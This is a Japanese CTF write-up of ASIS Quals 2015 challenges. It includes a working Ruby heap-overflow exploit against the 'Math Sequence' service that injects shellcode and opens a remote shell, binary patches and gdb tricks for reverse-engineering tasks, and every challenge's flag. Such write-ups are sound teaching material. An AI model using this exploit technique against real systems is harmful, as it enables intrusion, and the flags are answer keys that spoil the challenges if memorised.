ASIS CTF Quals 2015 writeup (2/2)
ASIS CTF Quals 2015 writeupの後半部分です。
前半はこちら charo-it.hatenablog.jp
Math Sequence (pwn:175pt)
まずは下調べ。
$ checksec --file mathseq RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX disabled No PIE No RPATH No RUNPATH mathseq
本体のメモリマップも調べておく。
00400000-00402000 r-xp 00000000 08:01 396475 /home/user/ctf/asis_2015/mathseq 00601000-00602000 r-xp 00001000 08:01 396475 /home/user/ctf/asis_2015/mathseq 00602000-00603000 rwxp 00002000 08:01 396475 /home/user/ctf/asis_2015/mathseq 01024000-01045000 rwxp 00000000 00:00 0 [heap]
固定アドレスが取れるところにrwxな領域がある。
Cに直すとこんな感じ。
typedef struct { //size=0x98 void (*func)(); //base+0x0 char name[128]; //base+0x8 unsigned int size; //base+0x88 int _unused; //base+0x8c char *contents; //base+0x90 } Sequence; unsigned char sequence_count = 0; //0x6020c9 Sequence *sequences[]; //0x602100 void show_splash(){ //0x400856 //説明表示 } void print_not_validated(){ //0x40087a printf("!NOT_VALIDATED_YET! "); return; } void print_validated(){ //0x40088f printf("VALIDATED "); return; } void create_sequence(){ //0x4008a4 Sequence *seq; //rbp-0x8 if(sequence_count == 255){ return; } seq = (Sequence*)malloc(sizeof(Sequence)); printf("Please enter the sequence name: "); strcpy(seq->name, "SEQUENCE; "); read(0, &seq->name[10], 128); printf("Please enter the sequence size: "); scanf(" %u%*c", &seq->size); seq->contents = malloc(seq->size + 1); printf("Please enter the sequence : "); read(0, seq->contents, seq->size); seq->func = print_not_validated; sequences[sequence_count] = seq; sequence_count += 1; } void edit_sequence(){ //0x400a86 char c; //rbp-0x15 int selection = 0; //rbp-0x14 Sequence *seq = NULL; //rbp-0x10 long canary; //rbp-0x8 puts("Please select one of the sequences below: "); print_sequences(); printf("? "); scanf(" %d%*c", &selection); if(selection == 0){ return; } seq = sequences[selection - 1]; printf("Is it valid(y/n)? "); do{ c = getchar(); }while(c == '\n'); if(c == 'y'){ seq->func = print_validated; return; } printf("Please enter the new sequence name: "); strcpy(seq->name, "SEQUENCE; "); read(0, &seq->name[10], 128); //sizeとcontentsの一部を上書きできる printf("Please enter the new sequence : "); read(0, seq->contents, seq->size); return; } void delete_sequence(){ //0x400bd1 int selection = 0; //rbp-0x14 Sequence *seq = NULL; //rbp-0x10 long canary; //rbp-0x8 puts("Please select one of the sequences below: "); print_sequences(); printf("? "); scanf(" %d%*c", selection); if(selection == 0){ return; } seq = sequences[selection - 1]; free(seq); puts("Successfuly Deleted!"); return; } void print_sequences(){ //0x4009d2 int i; //rbp-0x4 if(sequence_count == 0){ puts("No sequences yet!"); return; } for(i = 0; i < sequence_count; i++){ printf("[%d]=>\n", i + 1); puts(sequences[i]->name); sequences[i]->func(); puts(sequences[i]->contents); puts("============"); } return; } void main_menu(){ //0x400c77 int selection; //rbp-0xc long canary; //rbp-0x8 selection = 0; puts("Menu=> "); puts("1. Create Sequence"); puts("2. Edit Sequence"); puts("3. Delete Sequence"); puts("4. Print Sequences"); puts("5. Exit"); printf("? "); scanf(" %d%*c", &selection); switch(selection){ case 1: create_sequence(); break; case 2: edit_sequence(); break; case 3: delete_sequence(); break; case 4: print_sequences(); break; default: exit(1); } return; } int main(){ setvbuf(stdout, 0, 2, 0); show_splash(); while(1){ main_menu(); } }
Math Sequenceとか書いてあるが、数列でないデータも登録できるので実質メモ管理プログラム。
create_sequence
関数でSequence
構造体用のメモリを確保し、ユーザに情報を入力させる。
size
が入力されると、contents
用の領域としてsize+1
バイトのメモリが確保されるedit_sequence
関数でsize
以外の情報を変更可能print_sequence
関数は各Sequence
構造体について「name
出力 →func
呼び出し →contents
出力」をする
というのが主な動作。
edit_sequence
関数のname
入力部分にヒープバッファオーバフローのバグがあり、name
の後ろにあるsize
を自由にコントロールできるcontents
の入力可能バイト数はsize
に依存するため、size
を大きくすることでcontents
用の領域以降にあるデータを破壊できる
という脆弱性がある。
{name: "test1", size: 7, contents: "AAAAAAA"}
と{name: "test2", size: 7, contents: "BBBBBBB"}
という2つのデータを登録した後のヒープの状態を見てみると……
0x603010: 0x000000000040087a 0x45434e4555514553 "SEQUENCE; test1\n" 0x603020: 0x0a3174736574203b 0x0000000000000000 0x603030: 0x0000000000000000 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000007 0x6030a0: 0x00000000006030b0 0x0000000000000021 0x6030b0: 0x0041414141414141 0x0000000000000000 "AAAAAAA" 0x6030c0: 0x0000000000000000 0x00000000000000a1 0x6030d0: 0x000000000040087a 0x45434e4555514553 "SEQUENCE; test2\n" 0x6030e0: 0x0a3274736574203b 0x0000000000000000 0x6030f0: 0x0000000000000000 0x0000000000000000 0x603100: 0x0000000000000000 0x0000000000000000 0x603110: 0x0000000000000000 0x0000000000000000 0x603120: 0x0000000000000000 0x0000000000000000 0x603130: 0x0000000000000000 0x0000000000000000 0x603140: 0x0000000000000000 0x0000000000000000 0x603150: 0x0000000000000000 0x0000000000000007 0x603160: 0x0000000000603170 0x0000000000000021 0x603170: 0x0042424242424242 0x0000000000000000 "BBBBBBB" 凡例 struct { //size=0x98 void (*func)(); //base+0x0 char name[128]; //base+0x8 unsigned int size; //base+0x88 int _unused; //base+0x8c char *contents; //base+0x90 } Sequence; contentsの指す領域
「test1
, test1.contents
用の領域, test2
, test2.contents
用の領域」という順番で並んでいることが分かる。
先に述べた脆弱性によってtest1.contents
用の領域の後ろにあるtest2
の中身を書き換えると、
test2.func
の指すアドレスを書き換えることで、print_sequence
時に好きな関数を呼び出せるtest2.contents
の指すアドレスを書き換えることで、メモリ上の好きな場所を読み書きできる
と好き勝手できるようになる。
今回は固定アドレスにrwxな領域があるので、ここにシェルコードを書き込んでおき、test2.func
がシェルコードのアドレスを指すようにすればOK。
#coding:ascii-8bit require_relative "../pwnlib" PwnTube.open("217.218.48.87", 33003){|tube| not_validated_address = 0x40087a shellcode_address = 0x602800 puts "[*] create 1st and 2nd sequence" 2.times{ tube.recv_until("?") tube.send("1\n") # create tube.recv_until(":") tube.send("test") # name tube.recv_until(":") tube.send("7\n") # size tube.recv_until(":") tube.send("A" * 7) } puts "[*] edit 1st sequence(with overwriting 2nd.contents)" tube.recv_until("?") tube.send("2\n") # edit tube.recv_until("?") tube.send("1\n") # number tube.recv_until("?") tube.send("n") # not validated tube.recv_until(":") payload = "" payload << "\x00" * 118 payload << [184].pack("Q") tube.send(payload) # overwrite size tube.recv_until(":") payload = "" payload << "A" * 32 payload << [not_validated_address].pack("Q") payload << "\x00" * 128 payload << [PwnLib.shellcode_x86_64.length].pack("Q") payload << [shellcode_address].pack("Q") tube.send(payload) # overwrite 2nd contents pointer puts "[*] send shellcode" tube.recv_until("?") tube.send("2\n") # edit tube.recv_until("?") tube.send("2\n") # number tube.recv_until("?") tube.send("n") # not validated tube.recv_until(":") tube.send("name") # name tube.recv_until(":") tube.send(PwnLib.shellcode_x86_64) # contents puts "[*] edit 1st sequence(with overwriting 2nd.func)" tube.recv_until("?") tube.send("2\n") # edit tube.recv_until("?") tube.send("1\n") # number tube.recv_until("?") tube.send("n") # not validated tube.recv_until(":") payload = "" payload << "\x00" * 118 payload << [184].pack("Q") tube.send(payload) # overwrite size tube.recv_until(":") payload = "" payload << "A" * 32 payload << [shellcode_address].pack("Q") payload << "\x00" * 128 payload << [PwnLib.shellcode_x86_64.length].pack("Q") payload << [shellcode_address].pack("Q") tube.send(payload) # overwrite 2nd contents pointer puts "[*] trigger" tube.recv_until("?") tube.send("4\n") tube.interactive }
$ ruby mathseq.rb [*] connected [*] create 1st and 2nd sequence [*] edit 1st sequence(with overwriting 2nd.contents) [*] send shellcode [*] edit 1st sequence(with overwriting 2nd.func) [*] trigger [*] interactive mode id uid=1003 gid=1003 groups=1003 ls -la total 48 drwxr-xr-x 5 0 0 4096 May 9 09:10 . drwxr-xr-x 5 0 0 4096 May 9 09:10 .. -rw-r--r-- 1 0 0 220 May 9 09:10 .bash_logout -rw-r--r-- 1 0 0 3515 May 9 09:10 .bashrc -rw-r--r-- 1 0 0 675 May 9 09:10 .profile drwxr-xr-x 2 0 0 4096 May 9 09:10 bin -r--r----- 1 0 1003 39 May 9 09:10 flag drwxr-xr-x 3 0 0 4096 May 9 09:10 lib drwxr-xr-x 2 0 0 4096 May 9 09:10 lib64 -rwxr-xr-x 1 0 1003 10440 May 9 09:10 mathseq cat flag ASIS{011a7ed1029fc447e6d8691252265ae7} exit [*] end interactive mode [*] connection closed
FLAG:ASIS{011a7ed1029fc447e6d8691252265ae7}
Leach (Reverse:250pt)
Cに直すとこんな感じ。
char *var_602540[]; //0x602540 int var_6029c0[]; //0x6029c0 int var_602bf8; //0x602bf8 int main(int argc, char **argv){ pthread_t var_f8; //rbp-0xf8 char var_f0[]; //rbp-0xf0 char var_80[]; //rbp-0x80 int var_1c = 0; //rbp-0x1c char* var_18; //rbp-0x18 int var_c = 0; //rbp-0xc int var_8 = 0; //rbp-0x8 int i; //rbp-0x4 puts("this may take too long time ... :)"); var_10 = pthread_create(&var_f8, NULL, sub_400ee9, NULL); if(var_10 != 0){ fprintf(stderr, "Error - pthread_create() return code: %d\n", var_10); return 0; } setbuf(stdout, 0); for(i = 0; (var_18 = var_602540[i]) != NULL; i++){ var_8 = time(NULL); sleep(var_6029c0[i]); var_c = time(NULL) - var_8; sprintf(var_80, "%d", var_c); strcpy(var_f0, var_18); strcat(var_f0, var_80); if(!sub_400d65(var_f0, var_602300[i], &var_1c)){ printf(sub_400ddd(var_f0)); var_602bf8 = 0; } } putchar('\n'); return 0; }
sleep
関数呼び出しをNOPで潰して終了……ではなかった。
sleep
の前後を見るとvar_c == var_6029c0[i]
となることが分かるが、sleep
をNOPで潰すだけだとここの辻褄が合わなくなる。
ということで、sleep
を潰しつつ、var_c
の値も正しくなるようにパッチを当てる。
0x0000000000401121: mov edi,0x0
0x0000000000401126: call 0x400940 <time@plt>
0x000000000040112b: mov DWORD PTR [rbp-0x8],eax ;var_8 = time(NULL)
0x000000000040112e: mov eax,DWORD PTR [rbp-0x4(i)]
0x0000000000401131: cdqe
0x0000000000401133: mov eax,DWORD PTR [rax*4+0x6029c0]
0x000000000040113a: mov edi,eax
0x000000000040113c: call 0x400980 <sleep@plt> ;sleep(var_6029c0[i])
0x0000000000401141: mov edi,0x0
0x0000000000401146: call 0x400940 <time@plt>
0x000000000040114b: mov edx,eax
0x000000000040114d: mov eax,DWORD PTR [rbp-0x8]
0x0000000000401150: sub edx,eax
0x0000000000401152: mov eax,edx
0x0000000000401154: mov DWORD PTR [rbp-0xc],eax ;var_c = time(NULL) - var_8
0x0000000000401157: mov edx,DWORD PTR [rbp-0xc]
↓
0x0000000000401121: mov edi,0x0
0x0000000000401126: call 0x400940 <time@plt>
0x000000000040112b: mov DWORD PTR [rbp-0x8],eax ;var_8 = time(NULL)
0x000000000040112e: mov eax,DWORD PTR [rbp-0x4(i)]
0x0000000000401131: cdqe
0x0000000000401133: mov eax,DWORD PTR [rax*4+0x6029c0]
0x000000000040113a: mov edi,eax
0x000000000040113c: mov DWORD PTR [rbp-0xc],edi ;var_c = var_6029c0[i]
0x0000000000401140: nop
0x0000000000401141: nop
:
0x0000000000401155: nop
0x0000000000401146: nop
0x0000000000401157: mov edx,DWORD PTR [rbp-0xc]
$ ./leach this may take too long time ... :) ############################## ASIS{f18b0b4f1bc6c8af21a4a53ef002f9a2}
FLAG:ASIS{f18b0b4f1bc6c8af21a4a53ef002f9a2}
KeyLead (Reverse:150pt)
$ ./keylead hi all ---------------------- Welcome to dice game! You have to roll 5 dices and get 3, 1, 3, 3, 7 in order. Press enter to roll. You rolled 3, 6, 1, 3, 4. You DID NOT roll as I said! Bye bye~
サイコロで3, 1, 3, 3, 7を出すゲームだが、無理ゲーなのでインチキをする。
0x00000000004010d5: mov edi,0x401250 ;"You rolled as I said! I'll give you the flag." 0x00000000004010da: call 0x400540 <puts@plt> 0x00000000004010df: call 0x4006b6 ;フラグ出力用の関数? 0x00000000004010e4: mov eax,0x0 0x00000000004010e9: jmp 0x40110d
フラグ出力用の関数らしきものを見つけた。
試しにその部分を実行してみると……
(gdb) b *0x400e6e ←mainにブレークポイントを張る Breakpoint 1 at 0x400e6e (gdb) r Starting program: /home/user/ctf/asis_2015/keylead Breakpoint 1, 0x0000000000400e6e in ?? () (gdb) set $pc=0x4006b6 (gdb) c Continuing. ASIS{1fc1089e328eaf737c882ca0b10fcfe6}
フラグが出た。
FLAG:ASIS{1fc1089e328eaf737c882ca0b10fcfe6}
Selfie (Reverse:150pt)
$ ./selfie ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag Try harder :)
タダでフラグの前半だけ教えてくれるなんて優しいですね!(白目)
とりあえずCに直してみるとこんな感じ。
int main(int _argc, char **_argv){ char **argv = _argv; //rbp-0x110 int argc = _argc; //rbp-0x104 char var_100[]; //rbp-0x100 char var_f0[]; //rbp-0xf0 char var_80[]; //rbp-0x80 int var_38; int var_34; //rbp-0x34 FILE *fp; //rbp-0x30 int var_24; //rbp-0x24 int var_20 = 0x3618/*13848*/; //rbp-0x20 int filesize = 0; //rbp-0x1c char *var_18 = NULL; //rbp-0x18 int k; //rbp-0xc int j; //rbp-0x8 int i; //rbp-0x4 strcpy(var_80, "ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag\t"); var_24 = strlen(var_80); for(i = 0; i < var_24; i++){ var_f0[i] = var_80[i]; var_f0[i + 1] = '\0'; loading(var_f0); //棒がくるくる回るやつ } putchar('\n'); /*自分自身を開く*/ fp = fopen(argv[0], "r"); /*ファイル読み込み*/ filesize = fseeko(fp, 0, SEEK_END); rewind(fp); var_18 = malloc(filesize + 1); var_34 = fread(var_18, 1, filesize, fp); var_18[filesize] = '\0'; strcpy(var_100, " "); var_38 = strlen(var_100); if(argc == 3){ /*"Try"が出てくる場所を探して出力*/ for(j = 0; j < filesize; j++){ if(var_18[j] == 'T' && var_18[j + 1] == 'r' && var_18[j + 2] == 'y'){ printf("%d[%c]\n", j, var_18[j]); } } } /*ファイル内の特定の場所にある文字列を出力*/ for(k = 0; k < var_38; k++){ var_100[k] = var_18[var_20 + k]; } puts(var_100); fclose(fp); return 0; }
何がしたいのか分からないorz
objdumpしてみたりstrings見てみたりしたが、フラグの後半部に関する手がかりは見つからなかった。
わからんわからん言いながらバイナリエディタで眺めていたところ……
なんとselfieのバイナリ内に別のバイナリがくっついていた。これはずるい……w
気を取り直して解析する。
int g_r; //0x601330 int sitoor(long arg1){ //g_r更新? } int main(){ char var_620[1522]; //rbp-0x620 char *var_20; //rbp-0x20 int var_18; //rbp-0x18 int var_14; //rbp-0x14 int var_10; //rbp-0x10 int i; //rbp-0x4 memcpy(var_620, (some data), 1522); var_10 = time(NULL); sitoor(var_10); printf("%lu %lu\n ", g_r, var_10 - g_r * g_r); var_14 = var_10 - g_r * g_r; var_18 = ((g_r - var_14 + (g_r - var_14 < 0)) >> 1) - 49; printf("%d\n", var_18); if(g_r * 3013 == var_14 * 3286 + 5){ for(i = 0; i < var_18; i++){ /*☆*/ if(!sitoor(i)){ putchar(var_620[i + 1]); } } }else{ var_20 = NULL; var_20 = malloc(1394); strcpy(var_20, "Try harder :)\n"); } return 0; }
相変わらずよく分からないが、var_620
の要素数が1522であることから、☆のfor文が1521回まわると仮定し、for文の部分を実行してみた。
(gdb) b *main+255 ←if文にブレークポイントを張る Breakpoint 1 at 0x4007f2 (gdb) r Starting program: /home/user/ctf/asis_2015/selfie2 37834 31451 3142 Breakpoint 1, 0x00000000004007f2 in main () 1: x/5i $pc => 0x4007f2 <main+255>: jne 0x400836 <main+323> 0x4007f4 <main+257>: mov DWORD PTR [rbp-0x4],0x0 0x4007fb <main+264>: jmp 0x40082c <main+313> 0x4007fd <main+266>: mov eax,DWORD PTR [rbp-0x4] 0x400800 <main+269>: cdqe (gdb) set *(int*)($rbp-0x18)=1521 (gdb) set $pc=*main+257 (gdb) c Continuing. the secodn part of flag is: 93a641a99a}
FLAG:ASIS{4a2cdaf7d77165eb3fdb7093a641a99a}
Tera (Reverse:100pt)
Cに直すとこんな感じ。
int main(){ int var_2340[]; //rbp-0x2340 char var_22a0[]; //rbp-0x22a0 char var_12a0[]; //rbp-0x12a0 char var_2a0[]; //rbp-0x2a0 char var_250[]; //rbp-0x250 long var_1c0[38]; //rbp-0x1c0 pthread_t var_88; //rbp-0x88 char *var_80; //rbp-0x80 CURLcode var_64; //rbp-0x64 int var_54; //rbp-0x54 FILE *fp1; //rbp-0x50 CURL *curl; //rbp-0x48 int var_3c; //rbp-0x3c long var_38 = 0x1f40001809e0/*34359739943392*/; //rbp-0x38 int k; //rbp-0x30 int j; //rbp-0x28 int i; //rbp-0x24 memcpy(var_1c0, (void*)0x401480, 304); var_3c = 38; memcpy(var_250, (void*)0x4015c0, 131); setbuf(stdout, 0); for(i = 0; i < 64; i++){ var_2a0[i] = var_250[2 * i]; } memset(var_12a0, 0, 4096); var_12a0[1] = '/'; var_12a0[3] = 't'; var_12a0[5] = 'm'; var_12a0[7] = 'p'; var_12a0[9] = '/'; var_12a0[11] = '.'; var_12a0[13] = 't'; var_12a0[15] = 'e'; var_12a0[17] = 'r'; var_12a0[19] = 'a'; var_12a0[21] = '\n'; for(j = 0; j <= 9; j++){ var_22a0[j] = var_12a0[2 * j + 1]; } curl = curl_easy_init(); if(curl == NULL){ puts("Please check your connection :)"); return 0; } puts("Please wait until my job be done "); memcpy(var_2340, (void*)0x401680, 152); fp1 = fopen(var_22a0, "wb"); var_54 = pthread_create(var_88, NULL, sub_400d10, curl); if(var_54 != 0){ fprintf(stderr, "Error - pthread_create() return code: %d\n", var_54); return 0; } /*オプション設定*/ curl_easy_setopt(curl, CURLOPT_URL, var_2a0); //var_2a0="http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000" curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, sub_400cd6); curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp); /*ダウンロード処理実行*/ var_64 = curl_easy_perform(curl); /*後片付け*/ curl_easy_cleanup(curl); fclose(fp); fp2 = fopen(var_22a0, "r"); var_80 = alloca(?); fread(var_80, 1, var_38, fp2); for(k = 0; k < var_3c; k++){ printf("%c\n", var_80[var_1c0[k]] ^ var_2340[k]); } fclose(fp2); return 0; }
ごちゃごちゃしていて分かりにくいが、大まかにまとめるとこんな感じ。
index = array of integers key = array of integers download_to_file("http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000", "/tmp/.tera") data = open("/tmp/.tera").read for i in 0...38 printf("%c\n", data[index[i]] ^ key[i]) end
まとめると単純だが、問題はこのds14_a_1.0000とかいうファイルが32TBもあることである。
しかし、この処理に必要なのは38バイト分だけなので、Rangeヘッダで必要な部分だけ取ってきてkey
とxorすればOK。
#coding:ascii-8bit require "net/http" require "uri" def get_byte(index) uri = URI.parse("http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000") Net::HTTP.start(uri.host){|http| request = Net::HTTP::Get.new(uri.path) request["Range"] = "bytes=#{index}-#{index}" return http.request(request).body } end # バイナリからindex, keyを引っこ抜く index = open("tera", "rb").read[0x1480...0x1480+8*38].unpack("Q*") key = open("tera", "rb").read[0x1680...0x1680+4*38].unpack("L*") for i in 0...38 print (get_byte(index[i]).bytes[0] ^ key[i]).chr end puts # => ASIS{3149ad5d3629581b17279cc889222b93}
FLAG:ASIS{3149ad5d3629581b17279cc889222b93}